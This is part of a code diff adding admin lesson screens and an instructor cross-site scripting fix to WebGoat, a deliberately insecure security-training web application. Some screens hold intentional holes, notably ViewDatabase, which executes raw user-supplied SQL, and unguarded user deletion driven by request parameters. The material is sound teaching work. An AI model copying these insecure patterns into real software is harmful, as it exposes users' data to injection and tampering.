{
Connection connection = DatabaseUtilities.getConnection(s);
CreateDB db = new CreateDB();
db.makeDB(connection);
System.out.println("Successfully refreshed the database.");
}
catch (Exception e)
{
s.setMessage("Error refreshing database "
+ this.getClass().getName());
e.printStackTrace();
}
}
}

321
main/project/JavaSource/org/owasp/webgoat/lessons/admin/ReportCardScreen.java Normal file
View File

@ -0,0 +1,321 @@
package org.owasp.webgoat.lessons.admin;
import java.util.Iterator;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.HtmlColor;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.Center;
import org.apache.ecs.html.H2;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.LessonAdapter;
import org.owasp.webgoat.session.LessonTracker;
import org.owasp.webgoat.session.Screen;
import org.owasp.webgoat.session.UserTracker;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class ReportCardScreen extends LessonAdapter
{
/**
* Description of the Field
*/
protected final static String USERNAME = "Username";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String user = null;
try
{
if (s.getRequest().isUserInRole(WebSession.WEBGOAT_ADMIN))
{
user = s.getParser().getRawParameter(USERNAME);
}
else
{
user = s.getUserName();
}
}
catch (Exception e)
{}
if (user == null)
{
user = s.getUserName();
}
ec.addElement(makeFeedback(s));
ec.addElement(makeReportCard(s, user));
return ec;
}
private Element makeFeedback(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new Center(new StringElement(
"Comments and suggestions are welcome. "
+ getWebgoatContext().getFeedbackAddress())));
return ec;
}
/**
* Gets the category attribute of the UserAdminScreen object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.ADMIN_FUNCTIONS;
}
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the role attribute of the UserAdminScreen object
*
* @return The role value
*/
public String getRole()
{
return USER_ROLE;
}
/**
* Gets the title attribute of the UserAdminScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Report Card");
}
/**
* Description of the Method
*
* @param screen Description of the Parameter
* @param s Description of the Parameter
* @param user Description of the Parameter
* @return Description of the Return Value
*/
private TR makeLessonRow(WebSession s, String user, Screen screen)
{
LessonTracker lessonTracker = UserTracker.instance().getLessonTracker(
s, user, screen);
TR tr = new TR();
if (lessonTracker.getCompleted())
{
tr.setBgColor(HtmlColor.LIGHTGREEN);
}
else if (lessonTracker.getNumVisits() == 0)
{
tr.setBgColor(HtmlColor.LIGHTBLUE);
}
else if (!lessonTracker.getCompleted()
&& lessonTracker.getNumVisits() > 10)
{
tr.setBgColor(HtmlColor.RED);
}
else
{
tr.setBgColor(HtmlColor.YELLOW);
}
tr.addElement(new TD().addElement(screen.getTitle()));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getCompleted() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
Integer.toString(lessonTracker.getNumVisits())));
tr.addElement(new TD().setAlign("CENTER").addElement(
Integer.toString(lessonTracker.getMaxHintLevel())));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedCookies() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedHtml() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedLessonPlan() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedParameters() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedSource() ? "Y" : "N"));
return tr;
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeMessages(WebSession s)
{
ElementContainer ec = new ElementContainer();
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param user Description of the Parameter
* @return Description of the Return Value
*/
public Element makeReportCard(WebSession s, String user)
{
ElementContainer ec = new ElementContainer();
ec.addElement(makeUser(s, user));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1);
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
t.addElement(makeUserHeaderRow());
// These are all the user lesson
tr = new TR();
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement(
"Normal user lessons"));
t.addElement(tr);
for (Iterator lessonIter = s.getCourse().getLessons(s,
AbstractLesson.USER_ROLE).iterator(); lessonIter.hasNext();)
{
Screen screen = (Screen) lessonIter.next();
t.addElement(makeLessonRow(s, user, screen));
}
// The user figured out there was a hackable admin acocunt
tr = new TR();
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement(
"Hackable Admin Screens"));
t.addElement(tr);
for (Iterator lessonIter = s.getCourse().getLessons(s,
AbstractLesson.HACKED_ADMIN_ROLE).iterator(); lessonIter
.hasNext();)
{
Screen screen = (Screen) lessonIter.next();
t.addElement(makeLessonRow(s, user, screen));
}
// The user figured out how to actually hack the admin acocunt
tr = new TR();
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement(
"Actual Admin Screens"));
t.addElement(tr);
for (Iterator lessonIter = s.getCourse().getLessons(s,
AbstractLesson.ADMIN_ROLE).iterator(); lessonIter.hasNext();)
{
Screen screen = (Screen) lessonIter.next();
t.addElement(makeLessonRow(s, user, screen));
}
ec.addElement(t);
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param user Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeUser(WebSession s, String user)
{
H2 h2 = new H2();
// FIXME: The session is the current session, not the session of the user we are reporting.
//String type = s.isAdmin() ? " [Administrative User]" : s.isHackedAdmin() ? " [Normal User - Hacked Admin Access]" : " [Normal User]";
String type = "";
h2.addElement(new StringElement("Results for: " + user + type));
return h2;
}
/**
* Description of the Method
*
* @return Description of the Return Value
*/
private TR makeUserHeaderRow()
{
TR tr = new TR();
tr.addElement(new TH("Lesson"));
tr.addElement(new TH("Complete"));
tr.addElement(new TH("Visits"));
tr.addElement(new TH("Hints"));
tr.addElement(new TH("Cookies"));
tr.addElement(new TH("HTML"));
tr.addElement(new TH("LessonPlan"));
tr.addElement(new TH("Parameters"));
tr.addElement(new TH("Source"));
return tr;
}
}

337
main/project/JavaSource/org/owasp/webgoat/lessons/admin/SummaryReportCardScreen.java Normal file
View File

@ -0,0 +1,337 @@
package org.owasp.webgoat.lessons.admin;
import java.util.Enumeration;
import java.util.Iterator;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.HtmlColor;
import org.apache.ecs.html.Center;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.LessonAdapter;
import org.owasp.webgoat.session.LessonTracker;
import org.owasp.webgoat.session.Screen;
import org.owasp.webgoat.session.UserTracker;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce mayhew <a href="http://code.google.com">WebGoat</a>
* @created October 28, 2003
*/
public class SummaryReportCardScreen extends LessonAdapter
{
private int totalUsersNormalComplete = 0;
private int totalUsersAdminComplete = 0;
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String selectedUser = null;
try
{
if (s.getRequest().isUserInRole(WebSession.WEBGOAT_ADMIN))
{
Enumeration e = s.getParser().getParameterNames();
while (e.hasMoreElements())
{
String key = (String) e.nextElement();
if (key.startsWith("View_"))
{
selectedUser = key.substring("View_".length());
ReportCardScreen reportCard = new ReportCardScreen();
return reportCard.makeReportCard(s, selectedUser);
}
if (key.startsWith("Delete_"))
{
selectedUser = key.substring("Delete_".length());
deleteUser(selectedUser);
}
}
}
}
catch (Exception e)
{
e.printStackTrace();
}
ec.addElement(new Center().addElement(makeSummary(s)));
ec.addElement(new P());
Table t = new Table().setCellSpacing(0).setCellPadding(4).setBorder(1)
.setWidth("100%");
if (s.isColor())
{
t.setBorder(1);
}
t.addElement(makeUserSummaryHeader());
for (Iterator<String> userIter = UserTracker.instance().getAllUsers(
WebSession.WEBGOAT_USER).iterator(); userIter.hasNext();)
{
String user = userIter.next();
t.addElement(makeUserSummaryRow(s, user));
}
ec.addElement(new Center().addElement(t));
return ec;
}
protected Element makeSummary(WebSession s)
{
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("100%");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
//tr.addElement( new TH().addElement( "Summary").setColSpan(1));
//t.addElement( tr );
tr = new TR();
tr.addElement(new TD().setWidth("60%").addElement(
"Total number of users"));
tr.addElement(new TD().setAlign("LEFT").addElement(
Integer.toString(UserTracker.instance().getAllUsers(
WebSession.WEBGOAT_USER).size())));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().setWidth("60%").addElement(
"Total number of users that completed all normal lessons"));
tr.addElement(new TD().setAlign("LEFT").addElement(
Integer.toString(totalUsersNormalComplete)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().setWidth("60%").addElement(
"Total number of users that completed all admin lessons"));
tr.addElement(new TD().setAlign("LEFT").addElement(
Integer.toString(totalUsersAdminComplete)));
t.addElement(tr);
return t;
}
private void deleteUser(String user)
{
UserTracker.instance().deleteUser(user);
}
/**
* Gets the category attribute of the UserAdminScreen object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.ADMIN_FUNCTIONS;
}
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the role attribute of the UserAdminScreen object
*
* @return The role value
*/
public String getRole()
{
return ADMIN_ROLE;
}
/**
* Gets the title attribute of the UserAdminScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Summary Report Card");
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeMessages(WebSession s)
{
ElementContainer ec = new ElementContainer();
return (ec);
}
/**
* Description of the Method
*
* @return Description of the Return Value
*/
protected Element makeUserSummaryHeader()
{
TR tr = new TR();
tr.addElement(new TH("User Name"));
tr.addElement(new TH("Normal Complete"));
tr.addElement(new TH("Admin Complete"));
tr.addElement(new TH("View"));
tr.addElement(new TH("Delete"));
return tr;
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param user Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeUserSummaryRow(WebSession s, String user)
{
TR tr = new TR();
tr.addElement(new TD().setAlign("LEFT").addElement(user));
int lessonCount = 0;
int passedCount = 0;
boolean normalComplete = false;
boolean adminComplete = false;
for (Iterator lessonIter = s.getCourse().getLessons(s,
AbstractLesson.USER_ROLE).iterator(); lessonIter.hasNext();)
{
lessonCount++;
Screen screen = (Screen) lessonIter.next();
LessonTracker lessonTracker = UserTracker.instance()
.getLessonTracker(s, user, screen);
if (lessonTracker.getCompleted())
{
passedCount++;
}
}
if (lessonCount == passedCount)
{
normalComplete = true;
totalUsersNormalComplete++;
}
String text = Integer.toString(passedCount) + " of "
+ Integer.toString(lessonCount);
tr.addElement(new TD().setAlign("CENTER").addElement(text));
lessonCount = 0;
passedCount = 0;
for (Iterator lessonIter = s.getCourse().getLessons(s,
AbstractLesson.HACKED_ADMIN_ROLE).iterator(); lessonIter
.hasNext();)
{
lessonCount++;
Screen screen = (Screen) lessonIter.next();
LessonTracker lessonTracker = UserTracker.instance()
.getLessonTracker(s, user, screen);
if (lessonTracker.getCompleted())
{
passedCount++;
}
}
if (lessonCount == passedCount)
{
adminComplete = true;
totalUsersAdminComplete++;
}
text = Integer.toString(passedCount) + " of "
+ Integer.toString(lessonCount);
tr.addElement(new TD().setAlign("CENTER").addElement(text));
tr.addElement(new TD().setAlign("CENTER").addElement(
new Input(Input.SUBMIT, "View_" + user, "View")));
tr.addElement(new TD().setAlign("CENTER").addElement(
new Input(Input.SUBMIT, "Delete_" + user, "Delete")));
if (normalComplete && adminComplete)
{
tr.setBgColor(HtmlColor.GREEN);
}
else if (normalComplete)
{
tr.setBgColor(HtmlColor.LIGHTGREEN);
}
else
{
tr.setBgColor(HtmlColor.LIGHTBLUE);
}
return (tr);
}
public boolean isEnterprise()
{
return true;
}
}

128
main/project/JavaSource/org/owasp/webgoat/lessons/admin/UserAdminScreen.java Normal file
View File

@ -0,0 +1,128 @@
package org.owasp.webgoat.lessons.admin;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.Statement;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.LessonAdapter;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class UserAdminScreen extends LessonAdapter
{
private final static String QUERY = "SELECT * FROM user_system_data";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(QUERY);
if (results != null)
{
makeSuccess(s);
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/**
* Gets the category attribute of the UserAdminScreen object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.ADMIN_FUNCTIONS;
}
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the role attribute of the UserAdminScreen object
*
* @return The role value
*/
public String getRole()
{
return HACKED_ADMIN_ROLE;
}
/**
* Gets the title attribute of the UserAdminScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("User Information");
}
}

172
main/project/JavaSource/org/owasp/webgoat/lessons/admin/ViewDatabase.java Normal file
View File

@ -0,0 +1,172 @@
package org.owasp.webgoat.lessons.admin;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import org.owasp.webgoat.lessons.*;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.Input;
import org.owasp.webgoat.session.*;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003
*/
public class ViewDatabase extends LessonAdapter
{
private final static String SQL = "sql";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
ec.addElement(new StringElement("Enter a SQL statement: "));
StringBuffer sqlStatement = new StringBuffer(s.getParser()
.getRawParameter(SQL, ""));
Input input = new Input(Input.TEXT, SQL, sqlStatement.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
Connection connection = DatabaseUtilities.getConnection(s);
if (sqlStatement.length() > 0)
{
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(sqlStatement
.toString());
if ((results != null) && (results.first() == true))
{
makeSuccess(s);
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
}
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/**
* Gets the category attribute of the DatabaseScreen object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.ADMIN_FUNCTIONS;
}
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the hints attribute of the DatabaseScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("There are no hints defined");
return hints;
}
/**
* Gets the instructions attribute of the ViewDatabase object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "Please post a message to to the WebGoat forum. Your messages will be available for everyone to read.";
return (instructions);
}
/**
* Gets the role attribute of the ViewDatabase object
*
* @return The role value
*/
public String getRole()
{
return HACKED_ADMIN_ROLE;
}
/**
* Gets the title attribute of the DatabaseScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Adhoc Query");
}
}

91
main/project/JavaSource/org/owasp/webgoat/lessons/admin/WelcomeAdminScreen.java Normal file
View File

@ -0,0 +1,91 @@
package org.owasp.webgoat.lessons.admin;
import org.owasp.webgoat.lessons.WelcomeScreen;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.Center;
import org.apache.ecs.html.H1;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003
*/
public class WelcomeAdminScreen extends WelcomeScreen
{
/**
* Constructor for the WelcomeAdminScreen object
*
* @param s Description of the Parameter
*/
public WelcomeAdminScreen(WebSession s)
{
super(s);
}
/**
* Constructor for the WelcomeAdminScreen object
*/
public WelcomeAdminScreen()
{}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new Center(
new H1("You are logged on as an administrator")));
ec.addElement(super.createContent(s));
return (ec);
}
/**
* Gets the title attribute of the WelcomeAdminScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Admin Welcome");
}
}

57
main/project/JavaSource/org/owasp/webgoat/lessons/instructor/CrossSiteScripting/FindProfile_i.java Normal file
View File

@ -0,0 +1,57 @@
package org.owasp.webgoat.lessons.instructor.CrossSiteScripting;
import java.util.regex.Pattern;
import org.owasp.webgoat.lessons.CrossSiteScripting.FindProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/* STAGE 5 FIXES
Solution Summary: Edit FindProfile.java and change getRequestParameter().
Modify getRequestParameter() with lines denoted by // STAGE 5 - FIX.
Solution Steps:
1. Talk about the different parser methods. We could have used the parser method that takes a regular expression.
2. Call validate on the request parameter.
return validate(s.getParser().getRawParameter(name), (Pattern) patterns.get(name));
Note: patterns.get(name) is used to fetch the XSS validation pattern that is defined
in FindProfile.Java
protected static Map patterns = new HashMap();
static
{
patterns.put(CrossSiteScripting.SEARCHNAME, Pattern.compile("[a-zA-Z ]{0,20}"));
}
*/
public class FindProfile_i extends FindProfile
{
public FindProfile_i(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName, chainedAction);
}
protected String getRequestParameter(WebSession s, String name)
throws ParameterNotFoundException, ValidationException
{
// NOTE:
//
// In order for this to work generically, the name of the parameter and the name
// of the regular expression validation patter must be the same.
//
// Another way this could be done is to use the reguler expression method in the
// ParameterParser class
// STAGE 5 - FIX
return validate(s.getParser().getRawParameter(name), (Pattern) patterns.get(name));
// Note the design goal here...
//return s.getParser().getStringParameter(name), (Pattern) patterns.get(name));
}
}

Some files were not shown because too many files have changed in this diff Show More